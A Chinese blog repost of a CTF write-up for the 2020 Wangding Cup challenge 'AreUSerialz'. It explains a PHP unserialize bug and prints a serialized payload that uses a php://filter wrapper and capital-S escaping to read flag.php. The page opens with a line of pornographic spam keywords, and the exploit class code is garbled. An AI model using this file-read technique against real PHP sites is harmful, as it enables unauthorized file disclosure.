日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

网鼎杯2020php反序列化,2020-网鼎杯(青龙组)_Web题目 AreUserialz Writeup

發布時間:2025/3/12 php 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 网鼎杯2020php反序列化,2020-网鼎杯(青龙组)_Web题目 AreUserialz Writeup 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

0x02 AreUSerialz

關于s大寫小寫問題,可以看p神在圈子里發的,我在最后付上截圖

考點: php反序列化 php特性 利用鏈構造

1.打開頁面得到代碼如下:

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;

protected $filename;

protected $content;

function __construct() {

$op = "1";

$filename = "/tmp/tmpfile";

$content = "Hello World!";

$this->process();

}

public function process() {

if($this->op == "1") {

$this->write();

} else if($this->op == "2") {

$res = $this->read();

$this->output($res);

} else {

$this->output("Bad Hacker!");

}

}

private function write() {

if(isset($this->filename) && isset($this->content)) {

if(strlen((string)$this->content) > 100) {

$this->output("Too long!");

die();

}

$res = file_put_contents($this->filename, $this->content);

if($res) $this->output("Successful!");

else $this->output("Failed!");

} else {

$this->output("Failed!");

}

}

private function read() {

$res = "";

if(isset($this->filename)) {

$res = file_get_contents($this->filename);

}

return $res;

}

private function output($s) {

echo "[Result]:
";

echo $s;

}

function __destruct() {

if($this->op === "2")

$this->op = "1";

$this->content = "";

$this->process();

}

}

function is_valid($s) {

for($i = 0; $i < strlen($s); $i++)

if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

return false;

return true;

}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];

if(is_valid($str)) {

$obj = unserialize($str);

}

}

2.簡單看下代碼,反序列化操作,protect里面可控:

01.自己構造一下利用鏈,主要是繞過 is_vaild 函數,它規定了序列化內容中只能包含ascii可見字符,如果出現其他的字符則會返回false

02.因為構造成功的內容中,肯定會包含%00,因為類型是protect類型,要給添加標記,主要坑點在這,繞過這個的限制

03.我們構造利用鏈,輸出序列化內容,我們自己構造exp,直接讀不知道為啥讀不到,相對路徑的問題???,比賽就用偽協議讀一下:

highlight_file(__FILE__);

class FileHandler {

protected $op=2;

protected $op=filename="php://filter/convert.base64-encode/resource=/web/html/flag.php";

protected $op=loecho;

}

$FileHandler = new FileHandler();

$test = serialize($FileHandler);

echo $test;

04.先得知道路徑,我們通過 /proc/self/cmdline 知道配置文件路徑 /web/config/httpd.conf,通過配置文件知道目錄的路徑/web/html

直接讀一下Flag

運行結果如下:

得到序列化數據:

04 修改下Payload,主要是 %00,進行標記,然后進行Protecte繞過,改為 16進制\00\00或者空格,繞過字符限制

O:11:"FileHandler":3:{s:5:"\00*\00op";i:2;s:11:"\00*\00filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:10:"\00*\00content";s:6:"loecho";}

*

str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";S:10:"\00*\00content";S:6:"loecho";}

1. Paylaod打過去,看結果:

我們使用偽協議讀的,Base64解碼一下:

相關資料:

01. 在線復現: https://buuoj.cn/challenges

02. 反序列化基礎: https://bealright.github.io/2019/08/12/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0(%E4%B8%80)/

總結

以上是生活随笔為你收集整理的网鼎杯2020php反序列化,2020-网鼎杯(青龙组)_Web题目 AreUserialz Writeup的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。